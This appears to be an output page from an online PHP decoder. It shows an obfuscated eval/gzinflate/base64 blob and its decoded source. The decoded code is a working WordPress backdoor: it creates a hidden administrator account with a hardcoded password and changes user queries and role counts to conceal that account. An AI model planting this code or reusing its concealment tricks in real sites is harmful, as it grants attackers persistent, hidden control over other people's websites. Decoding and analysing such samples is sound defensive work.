Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode('rVRda9swFH2Of8WdCMiGJF267WWJ3QXWrazbGIPRh1KEYsuJQbE9SW4oIf99..
Decoded Output download
$new_user = new WP_User(wp_create_user('dte30','FLKMJKAGglasfas124512@'));
$new_user->set_role('administrator');
add_action('pre_user_query','hidden_access');
function hidden_access($user_search){
global $current_user;
$username = $current_user->user_login;
if($username != 'user'){
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'dte30'",$user_search->query_where );
}
}
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'dte30') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'dte30'",$user_search->query_where);
}
}
add_filter("views_users", "dt_list_table_views");
function dt_list_table_views($views){
$users = count_users();
$admins_num = $users['avail_roles']['administrator'] - 1;
$all_num = $users['total_users'] - 1;
$class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
$class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
$views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
$views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
return $views;
}
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode('rVRda9swFH2Of8WdCMiGJF267WWJ3QXWrazbGIPRh1KEYsuJQbE9SW4oIf99V7KT2pm7L/aUyOfo3HPPlTTMxZZVWigIAf/CzRf2DVf+tmSxEtwIB/o0MeLFczqi7z5ef/pwvXi/klynXE/PX76anr+hQTDzhgepcaSFYaqQwqc82WR5po3iplAUWR5PEsZjkxW5T0tV67PvlVAPKL/OkkTkiMdCa0tPq9xxoYP4Q7dLC67idbDzBitZLLmEYVwpJXLjRGfewNFyvhHYXQcbR05AFqssR16W+o/UZyFQu6BW+Ki8LZMlMgftyuPI+WbbtVC2BLbJlCglj7Hzm6vLr5cwDad0BOS4gMXnt7BzarUHvZ88WnG166jJ6OlKmMtg7+1/HeVDUSmd4QBPkHaoT3C68cLOA4D+hBH4w4yRmaVwEnPdKlYAi7eq1GnX3/4l8Wbr/809cI5s8C75NJMGrwa5z8RWu441wVEnhkk88MzwpRTMgaSdeQ/uD91PsDvmqbG3uKiaJLVflx6626RZXm1s2A66pfyeZ9JdN03vbk9u3B2MYdpslvJkpykMl3WFNjHGu60Z6iDVtxGXxcHiT/IjoM3McYxhGELKpcYTChdACLwG0qCkIy1lr7SUfy3Y7wrV6ZzDWok0JK6/SbkuL2xGYYdKwDkKCYVJu/EJUBLZb0jLtTy8g82jtug+apYNc13y/KDmRkci36m2hobEYH5mmdH8jEe024Ntv995r00M8WiTMXSF+3/rpTkDvUaUMJXKGz8zb/8D')));
Function Calls
gzinflate | 1 |
base64_decode | 1 |
Stats
MD5 | 4ff9fee208e1d2e5892f0f36d7f4a8cc |
Eval Count | 1 |
Decode Time | 70 ms |